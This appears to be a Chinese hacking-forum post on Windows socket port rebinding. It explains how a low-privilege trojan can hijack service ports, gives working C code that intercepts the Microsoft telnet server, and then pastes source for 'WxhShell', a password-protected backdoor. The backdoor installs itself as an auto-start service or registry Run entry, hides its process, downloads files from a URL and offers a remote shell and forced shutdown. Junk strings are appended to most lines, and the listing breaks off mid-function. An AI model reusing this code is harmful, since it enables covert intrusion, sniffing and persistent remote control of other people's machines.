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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P.$U6cq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x-:vpv%6y  
@g(N!n~  
  saddr.sin_family = AF_INET;  HUr;ysw  
64z9Yr@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L.$9ernVY  
M.zS +  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s<5q%5ix3  
SE)_5|k*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =H.l/'/Z  
z11;r]VI  
  这意味着什么?意味着可以进行如下的攻击: S,fMGKcq  
Za}*6N=?*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .+]e9mV  
kEf}yTy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FSoL|lH  
@=h%;"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 - y{*U1[  
M7/P&d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p%+ 0^]v1  
"zc@(OA[z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $TU=^W)X  
d?Gf T$1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \ v44Vmfz  
"B*a| 'n!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,w,>pO'[  
#R4Mv(BG  
  #include I: U/%cr,  
  #include 7f8%WD)  
  #include #`RY KQwB  
  #include    =xQ 7:TB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fs&J%ku\  
  int main() A9qCaq{  
  { ^+oi|y  
  WORD wVersionRequested; oF,XSd  
  DWORD ret; 9"52b 9U  
  WSADATA wsaData; TC?kuQI  
  BOOL val; qe 4hNFq  
  SOCKADDR_IN saddr; JiEcPii  
  SOCKADDR_IN scaddr; lAJ)  
  int err;  ^ 'FC.  
  SOCKET s; Zq~2BeB  
  SOCKET sc; q@F"fjWBr  
  int caddsize; s0H_Y'  
  HANDLE mt; m(q6Xe:Vc  
  DWORD tid;   it=L_zu}  
  wVersionRequested = MAKEWORD( 2, 2 ); hhlQ!WV2  
  err = WSAStartup( wVersionRequested, &wsaData ); /|t vGC.#  
  if ( err != 0 ) { BF<7.<,  
  printf("error!WSAStartup failed!\n"); *yKsgH  
  return -1; R?qVFMQ  
  } 0&=2+=[c  
  saddr.sin_family = AF_INET; 0*L|r Jf  
   `!S5FE"-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D@uw[;Xb5  
`Gx"3ZUn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j|FGb:  
  saddr.sin_port = htons(23); +P/"bwv0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wa #,>  
  { Hj |~*kG  
  printf("error!socket failed!\n"); V]L$`7G  
  return -1; I+D`\OSL  
  } KSIH1E  
  val = TRUE; s=(~/p#M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I{<6GIU+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kQC>8"  
  { bR?-B>EB  
  printf("error!setsockopt failed!\n"); Fe.Y4\xz  
  return -1; kuu9'Sqc'b  
  } auAST;"Z8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0(|R N V_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F+*>q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %56pP"w  
Odxq]HlbO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %\_I% yF  
  { cE 8vSQ%  
  ret=GetLastError(); L$zT`1Hy  
  printf("error!bind failed!\n"); W=5+k0Q  
  return -1; JmrQDO_(  
  } &UP@Sr0D7  
  listen(s,2); B7nMy oj  
  while(1) AJ2Xq*fk  
  { B h@R9O<  
  caddsize = sizeof(scaddr); ?4Lb*{R  
  //接受连接请求 [@kzC/Jq3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _Ta9rDSP]  
  if(sc!=INVALID_SOCKET) [?RLvhU|  
  { ?*u)T%S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -kZz,pNQ,  
  if(mt==NULL) $ 1H?k  
  { "sz LTC]*6  
  printf("Thread Creat Failed!\n"); Yk(OVl T  
  break; Xx:0Nt]  
  } >r{3t{  
  } }1TfKS]m>  
  CloseHandle(mt); G(JvAe]r  
  } Q}^ n  
  closesocket(s); \-GV8A2:k  
  WSACleanup(); 'Vy$d<@s[  
  return 0; reM%GU  
  }   fbB(W E+  
  DWORD WINAPI ClientThread(LPVOID lpParam) |4-c/@D.~  
  { 4en&EWUr  
  SOCKET ss = (SOCKET)lpParam; uQ&&? j  
  SOCKET sc; -}{\C]%  
  unsigned char buf[4096]; ^4Tr @g#]"  
  SOCKADDR_IN saddr; 5U|f"3&8  
  long num; + h`:qB  
  DWORD val; <%JdQ82?  
  DWORD ret; lcJ`OLG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *{Wh- bc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J4j?rLR3p  
  saddr.sin_family = AF_INET; [Qy]henK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *Zt)J8C  
  saddr.sin_port = htons(23); ;PaB5TT(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TmKO/N@}  
  { BS*cG>T  
  printf("error!socket failed!\n"); XT{1!I(  
  return -1; 6]T02;b>/,  
  } "M7ry9dDH  
  val = 100; A&$!s)8z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L]9!-E  
  { m4 E 6L  
  ret = GetLastError(); hrZ~7 0r  
  return -1; <$UMMA  
  } b$PNZC8f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y4@~NCU/  
  { F5:*;E;$  
  ret = GetLastError(); m{pL< g^M  
  return -1; R{!s%K&  
  } zq4,%$y8|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]!YzbvoR  
  { <2A4}+p:  
  printf("error!socket connect failed!\n"); uAzV a!)  
  closesocket(sc); t1Hd-]28V  
  closesocket(ss); ;TmwIZ  
  return -1; D: JGd$`  
  } ?U|~h1   
  while(1) }-zx4<4BH  
  { x9Gm)~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ip8 Ap$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *2 MUG h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q;m .m2  
  num = recv(ss,buf,4096,0); fQ#mx.|8y  
  if(num>0) &^9f)xb  
  send(sc,buf,num,0); cJ!wZT`  
  else if(num==0) 70 HEu@-  
  break; }xLwv=Ia  
  num = recv(sc,buf,4096,0); *}ay  
  if(num>0) "^_p>C)T  
  send(ss,buf,num,0); ^%go\ C ;  
  else if(num==0) wjS3ItB  
  break; l-t:7`=|  
  } YvBUx#\  
  closesocket(ss); 1(q!.lPc  
  closesocket(sc); H1 \~T  
  return 0 ; >%#J8  
  } deHBY4@  
Pl1:d{"d  
`E!t,*(*E  
========================================================== r}f -.Fo  
7dPA>5"XD  
下边附上一个代码,,WXhSHELL %=#&\ldPS  
hJFQ/(  
========================================================== ]YevO(  
r2""p  
#include "stdafx.h" ;-*4 (3lu  
JFYeOmR+l  
#include <stdio.h> |8+<qgQ  
#include <string.h> @D0Ut9)  
#include <windows.h> -uv1$|  
#include <winsock2.h> ocdXzk`  
#include <winsvc.h> {zVJlJKxs  
#include <urlmon.h> 1O(fI|gcO  
}[AIE[  
#pragma comment (lib, "Ws2_32.lib") R0. `2=  
#pragma comment (lib, "urlmon.lib") Qx.E+n\  
R#1m_6I  
#define MAX_USER   100 // 最大客户端连接数 Hd;>k$B  
#define BUF_SOCK   200 // sock buffer ? ~_%I  
#define KEY_BUFF   255 // 输入 buffer Lb2Bu>  
NNe'5q9  
#define REBOOT     0   // 重启 z W+wtYV4  
#define SHUTDOWN   1   // 关机 ,0-   
4RTEXoXs  
#define DEF_PORT   5000 // 监听端口 Yn J=&21  
?_HTOOa  
#define REG_LEN     16   // 注册表键长度 !o*oT}6n  
#define SVC_LEN     80   // NT服务名长度 j:<E=[Kl  
i]Kq  
// 从dll定义API %#7M~RB[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1ed#nB %  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j1/J9F'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F!fxA#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HO' ELiZ_q  
:dLS+cTC  
// wxhshell配置信息 m{b(^K9}  
struct WSCFG { :M=!MgD3w  
  int ws_port;         // 监听端口 `uzRHbJ`  
  char ws_passstr[REG_LEN]; // 口令 kx'6FkZPIr  
  int ws_autoins;       // 安装标记, 1=yes 0=no )K5~r>n&  
  char ws_regname[REG_LEN]; // 注册表键名 Gc@ENE f  
  char ws_svcname[REG_LEN]; // 服务名 6 _73  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^GRd;v=-@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +?mZ_sf8w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VJ;'$SYx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u=ENf1{ $>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o &Nr5S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jRgv 8n  
.' X$SF`  
}; E"V|Plf c  
[=V8  
// default Wxhshell configuration {`J7>K  
struct WSCFG wscfg={DEF_PORT, \;P Bx &  
    "xuhuanlingzhe", o<C~67o_  
    1, DK4V/>@8  
    "Wxhshell", 3FNj~=N  
    "Wxhshell", w7dG=a&  
            "WxhShell Service", ia?8 Z"&lK  
    "Wrsky Windows CmdShell Service", B'~.>, fg  
    "Please Input Your Password: ", ;| \Ojuf  
  1, [k1N`K(M  
  "http://www.wrsky.com/wxhshell.exe", [dt1%DD`M  
  "Wxhshell.exe" QV?\?9(  
    }; F~* 5`o  
N:&^ql4  
// 消息定义模块 *a$z!Ma3h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V2.MZ9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; { 0Leua  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DM>j@(uWF  
char *msg_ws_ext="\n\rExit."; XqJ@NgsY  
char *msg_ws_end="\n\rQuit."; C/]0jAAE7  
char *msg_ws_boot="\n\rReboot..."; W}T+8+RU  
char *msg_ws_poff="\n\rShutdown...";  wl9E  
char *msg_ws_down="\n\rSave to "; cT.1oaAM0  
6J&L5E  
char *msg_ws_err="\n\rErr!"; xY_/CR[,  
char *msg_ws_ok="\n\rOK!"; (a)d7y.oo  
L#NPt4Sz+  
char ExeFile[MAX_PATH]; YpNTq_S1,  
int nUser = 0; 4; &(  
HANDLE handles[MAX_USER]; 8c~b7F \  
int OsIsNt; ~G"6^C:x  
Kq.)5%~>  
SERVICE_STATUS       serviceStatus; !FO||z(vb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sq :ff  
pLk?<y  
// 函数声明 iCw~4KG  
int Install(void); le8n!Dk(  
int Uninstall(void); \W*ouH  
int DownloadFile(char *sURL, SOCKET wsh); (c[|k  
int Boot(int flag); 5?2PUE,a  
void HideProc(void); \/lS!+~'']  
int GetOsVer(void); X0 %k`3  
int Wxhshell(SOCKET wsl); L4Kkbt<x  
void TalkWithClient(void *cs); seq S*^7  
int CmdShell(SOCKET sock); nk6xavQji  
int StartFromService(void); r[~K m5  
int StartWxhshell(LPSTR lpCmdLine); %} \@Wk~  
\UN7lDH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c()F%e:n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r0S"}<8O  
\mv7"TM  
// 数据结构和表定义 GS)l{bS#[O  
SERVICE_TABLE_ENTRY DispatchTable[] = iyj&O"  
{ ,gRsbC  
{wscfg.ws_svcname, NTServiceMain}, WU}JArX9  
{NULL, NULL} 'MsxZqW"~  
}; 4pA(.<#A  
bh_i*DJ]  
// 自我安装 (^057  
int Install(void) *a+~bX)18  
{ )7J@A%u  
  char svExeFile[MAX_PATH]; zXMIDrq  
  HKEY key; xJZbax[  
  strcpy(svExeFile,ExeFile); x~Pv  
{mueP6Gz@J  
// 如果是win9x系统,修改注册表设为自启动 (obeEH5J  
if(!OsIsNt) { N5oao'7|A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P_i2yhpK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / <y-pFTg  
  RegCloseKey(key); cty.)e=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >F@7}Y(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WXXLD:gxI  
  RegCloseKey(key); M[Ls:\1a  
  return 0; ], ' n!:>  
    } WKmGw^  
  } oIbd+6>f  
} PVV\@  
else { i' N  
z!t &zkAK  
// 如果是NT以上系统,安装为系统服务 ##yi^;3Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t5e%"}>7H  
if (schSCManager!=0) XlB`Z81j  
{ kGX`y.-[  
  SC_HANDLE schService = CreateService )LH nDx  
  (  aA0aW=R  
  schSCManager, VJJw"4DJ  
  wscfg.ws_svcname, V^.~m;ETu]  
  wscfg.ws_svcdisp, ~M43#E[oOF  
  SERVICE_ALL_ACCESS, G|X1c}zAL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %'t~+_  
  SERVICE_AUTO_START, :9K5zD  
  SERVICE_ERROR_NORMAL, *gZ4Ub|O  
  svExeFile, o),i2  
  NULL, [O(78n$$  
  NULL, }&;0:hw%  
  NULL, >*Y~I0>  
  NULL, ,?i#NN5p  
  NULL `EV[uj&1S  
  ); k(hes3JV  
  if (schService!=0)  ae#7*B  
  { {f)",#  
  CloseServiceHandle(schService); {P-KU RQ  
  CloseServiceHandle(schSCManager); blxH`O!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _.wLQL~y  
  strcat(svExeFile,wscfg.ws_svcname); [YJP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7c<2oTN'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TvMY\e  
  RegCloseKey(key); hIPDJ1a  
  return 0; j'CRm5O  
    } 'J]V"Z)  
  } >l 'QX(  
  CloseServiceHandle(schSCManager); _Z5l Nu  
} uVOOw&q_  
} 0.|tKetHq  
sDWX} NV  
return 1; _vvnxG!x&  
} h^34{pKDn  
hRGK W  
// 自我卸载 c9i CH~  
int Uninstall(void) #). om*Xh  
{ /3rt]h"  
  HKEY key; 3}n=od=  
WynHcxC  
if(!OsIsNt) { ;c<:"ad(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JTl 37j  
  RegDeleteValue(key,wscfg.ws_regname); ,Ea.ts>  
  RegCloseKey(key); 0qZ{:}`3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t'0r4&\  
  RegDeleteValue(key,wscfg.ws_regname); U}7$:hO"dX  
  RegCloseKey(key); ma?569Z8~0  
  return 0; I+8m1 *  
  } QTK \"  
} >RE&>T^8  
} <k}>eGn  
else { D OPOzh  
kw|bEL9!u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <hQ@]2w$  
if (schSCManager!=0) \L6U}ZQ2V  
{ uZ%b6+(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6"eGd"  
  if (schService!=0) Xp._B4g  
  { $fuFx8`2W  
  if(DeleteService(schService)!=0) { 6+m)   
  CloseServiceHandle(schService); %|oY8;0|A>  
  CloseServiceHandle(schSCManager); )^g}'V=vIr  
  return 0; K'N\"Y?>  
  } y.w/7iw:  
  CloseServiceHandle(schService); M)Tv(7  
  } a5z.c_7r  
  CloseServiceHandle(schSCManager); Mz+|~'R  
} Zdj~B1  
} ;Z C18@  
GAtK1%nPD  
return 1; mmr>"`5.  
} ,LWM}L  
QRw3 06  
// 从指定url下载文件 E9%xSMS8@  
int DownloadFile(char *sURL, SOCKET wsh) {Am\%v\  
{ "op1xto  
  HRESULT hr; kH1l -mxz  
char seps[]= "/"; !bT0kP$3}  
char *token; v?n`kw  
char *file; oQWS$\Rr.  
char myURL[MAX_PATH]; 1:q55!b  
char myFILE[MAX_PATH]; !z58,hv  
noh3mi  
strcpy(myURL,sURL); tNmH*"wR<  
  token=strtok(myURL,seps); B;hc|v{(  
  while(token!=NULL) 0%`\ 8  
  { f9&D0x?  
    file=token; Mwp#.du(  
  token=strtok(NULL,seps); = J).(E89  
  } "p2 $R*ie  
d q"b_pr;  
GetCurrentDirectory(MAX_PATH,myFILE); X f!Bsp#\g  
strcat(myFILE, "\\"); RZm5[n  
strcat(myFILE, file); 0MrtJNF]_O  
  send(wsh,myFILE,strlen(myFILE),0); -H'_%~OV(  
send(wsh,"...",3,0); L'"20=sf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); REnRpp$  
  if(hr==S_OK) ^X"G~#v=q  
return 0; dUOjPq97  
else Q3wD6!'&m  
return 1; C<6u}czA  
>:Xzv  
} /$&~0pk  
a%*W^R9Ls  
// 系统电源模块 . I {X  
int Boot(int flag) 3`IDm5  
{  L~I<y;x  
  HANDLE hToken; /PQg>Pa85  
  TOKEN_PRIVILEGES tkp; &Vvy`JE  
m5{Y  
  if(OsIsNt) { Nz*qz"T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;wJLH\/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;7tOFsV  
    tkp.PrivilegeCount = 1; Rj+}L ~"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G*\wu&7!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S;i^ucAF  
if(flag==REBOOT) { A<y3Tc?Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J U}XSb  
  return 0; W4|1wd}.t  
} WI[6 l6  
else { 92+({ fg W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %jqBYn0q'  
  return 0; E J q=MP  
} @<W"$_ r-  
  } K]N^6ome  
  else { 6\OSIxJZF  
if(flag==REBOOT) { &"Ua"H)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s3/->1#i  
  return 0; g0cCw2S  
} UyD=x(li  
else { H,:Cg:E/^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b;9v.MZ4>g  
  return 0; 7{v0K"E{  
} 08yTTt76t  
} j)'V_@  
IC92lPM }  
return 1; _Dwn@{[(8  
} scJ`oc: <J  
\dbpC Z  
// win9x进程隐藏模块 Vu^J'>X  
void HideProc(void) jEit^5^5|  
{ 4-ZiKM  
}I#;~|v~<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); < LzN/I aJ  
  if ( hKernel != NULL ) #wx0xQ~,J  
  { l \xIGs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1nBE8 N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fG0rUi(8  
    FreeLibrary(hKernel); @l$cZi e  
  } W_O,Kao  
f^:9gRt  
return; .fU qsq  
} W-7yi`5  
*ZKfyn$+~  
// 获取操作系统版本 &p=|z2 J  
int GetOsVer(void) F! c%&Z  
{ x>&1;g2r  
  OSVERSIONINFO winfo; TnPdpynP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HPVT$EJ  
  GetVersionEx(&winfo); .7+_ubj&,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wV W+~DJ  
  return 1; (aiE!c  
  else 42U3>  
  return 0; W%Br%VQJ  
} frc>0\  
E88_15'3D  
// 客户端句柄模块 e_\4(4x  
int Wxhshell(SOCKET wsl) 3/}=x<ui  
{ GB^Ch YOb  
  SOCKET wsh; goIn7ei92  
  struct sockaddr_in client; ]*sXISg1  
  DWORD myID; sJt&`kZ  
|Wi$@sWO  
  while(nUser<MAX_USER) S%mN6b~{  
{ o+/x8:   
  int nSize=sizeof(client); TcO@q ]+S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k{y@&QNj  
  if(wsh==INVALID_SOCKET) return 1; .;/@k%>   
7KuTC%7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z-Bw?_e_K  
if(handles[nUser]==0) py P5^Qv  
  closesocket(wsh); !_l W#feR  
else  ]c[80F-  
  nUser++; 'ZT E"KT  
  } .~ZNlI {K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aR*z5p2-w  
Kdik7jL/J  
  return 0; kp xd+w  
} )h2wwq0]  
_9\ ayR>d  
// 关闭 socket QOy+T6en  
void CloseIt(SOCKET wsh) DH)@8)C  
{ tA}O'x  
closesocket(wsh); W O|2x0K  
nUser--; 4=*VXM/  
ExitThread(0); NnrX64|0  
} jP@H$$-=wH  
ylmf^G@JC  
// 客户端请求句柄 Kn=P~,FaG3  
void TalkWithClient(void *cs) ;gK+AU  
{ J --9VlC'  
l')?w]|  
  SOCKET wsh=(SOCKET)cs; &0Wv+2l @  
  char pwd[SVC_LEN]; 5s;HF |2x  
  char cmd[KEY_BUFF]; -'5:Cq   
char chr[1]; f{^C+t{r  
int i,j; 42ttmN1F  
Mf/zSQk+  
  while (nUser < MAX_USER) { !OPa `kSh  
]{.rx),  
if(wscfg.ws_passstr) { P]j{JL/g&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M:Xswwq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iN<&  
  //ZeroMemory(pwd,KEY_BUFF); pRPz1J$58  
      i=0; g[q1P:I@W  
  while(i<SVC_LEN) { D!TS/J1S;u  
gSL$silc  
  // 设置超时 :&&Ps4\Sq  
  fd_set FdRead; qyp"q{k0  
  struct timeval TimeOut; w# ,:L)  
  FD_ZERO(&FdRead); >9uDY+70I3  
  FD_SET(wsh,&FdRead); hi`\3B  
  TimeOut.tv_sec=8; R l^ENrv!]  
  TimeOut.tv_usec=0; 3oE *86  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v&xk?F?WU,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X<#Q~"  
z<sf}6q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |XLx6E2F  
  pwd=chr[0]; ~y$B #.l  
  if(chr[0]==0xd || chr[0]==0xa) { %RdCSQ9~  
  pwd=0; -9.S?N'T>;  
  break; tm#T8iF  
  } NVcL9"ht*@  
  i++; %fJ*Ql4M  
    } .Rd@,3  
Beiz*2-}a  
  // 如果是非法用户,关闭 socket xzz[!yJjG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); azS"*#r6}  
} 0p*(<8D}  
;jo,&C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `:}GE@]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |A 8xy#  
4F??9o8}  
while(1) { )l\BZndf  
_udH(NC  
  ZeroMemory(cmd,KEY_BUFF); m%qah>11  
9fzbR~s  
      // 自动支持客户端 telnet标准   5d*k[fZ  
  j=0; Y \& 4`v'  
  while(j<KEY_BUFF) { TStu)6%`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vp[~%~1(  
  cmd[j]=chr[0]; esLPJx  
  if(chr[0]==0xa || chr[0]==0xd) { kzbgy)PK3  
  cmd[j]=0; q/XZb@rt  
  break; Pi40w+/  
  } [JO'ta  
  j++; {h7*a=  
    } k$i76r  
|9?67-  
  // 下载文件 ,CA,7Mu:  
  if(strstr(cmd,"http://")) { 5A>W;Q\4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PHyS^J`  
  if(DownloadFile(cmd,wsh)) !D7/Ja  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I,_wt+O&j  
  else ?Q]&d!U Cs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zq8 z#FN  
  } Q*^zphT  
  else { A@?2qX^4  
1WfN_JKB5  
    switch(cmd[0]) { Y6?d y\  
  <fJoHS  
  // 帮助 6HCP1`gg   
  case '?': { 7M<7^)9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); di "rvw;R  
    break; z%hB=V!~91  
  } ;v[F@O~*)  
  // 安装 TMhUo#`I|  
  case 'i': { 2(\~z@g  
    if(Install()) CGbW] D$@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hd U1gV>  
    else "e&S*8QhM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k =ru) _$2  
    break; z%}^9  
    } w5b D  
  // 卸载 TlYeYN5V  
  case 'r': { Y@c! \0e$  
    if(Uninstall()) DQ?'f@I&*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %+:%%r=Q  
    else |0vY'A)]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2w$o;zz1  
    break; ^}ngb Dn  
    } b* no.eB  
  // 显示 wxhshell 所在路径 gLaFIeF<+  
  case 'p': { HH&`f3  
    char svExeFile[MAX_PATH]; G)?VC^Q  
    strcpy(svExeFile,"\n\r"); </5uB' B ^  
      strcat(svExeFile,ExeFile); isLIfE>  
        send(wsh,svExeFile,strlen(svExeFile),0); eRWTuIV6  
    break; P B.@G,)  
    } IR;lt 3  
  // 重启 J-:\^uP  
  case 'b': { xx)egy_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D^E1  
    if(Boot(REBOOT)) /(bPc12  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pUZbZ U  
    else { GO.mT/rB  
    closesocket(wsh); O'Lgb9  
    ExitThread(0); Q0Y0Zt,h  
    } wcspqC"_  
    break; c*'D  
    } po}Jwx!  
  // 关机 HpiP"Sl  
  case 'd': { C:"Al-  
